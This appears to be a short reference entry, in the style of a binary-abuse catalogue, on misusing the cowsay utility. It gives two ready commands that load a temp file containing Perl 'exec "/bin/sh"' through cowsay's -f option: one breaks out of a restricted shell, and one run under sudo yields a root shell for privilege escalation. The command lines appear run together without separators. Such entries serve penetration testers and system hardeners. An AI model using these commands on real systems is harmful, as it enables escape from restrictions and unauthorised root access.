It allows to execute
perl code, other functions may apply.
It can be used to break out from restricted environments by spawning an interactive system shell.
TF=$(mktemp) echo 'exec "/bin/sh";' >$TF cowsay -f $TF x
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp) echo 'exec "/bin/sh";' >$TF sudo cowsay -f $TF x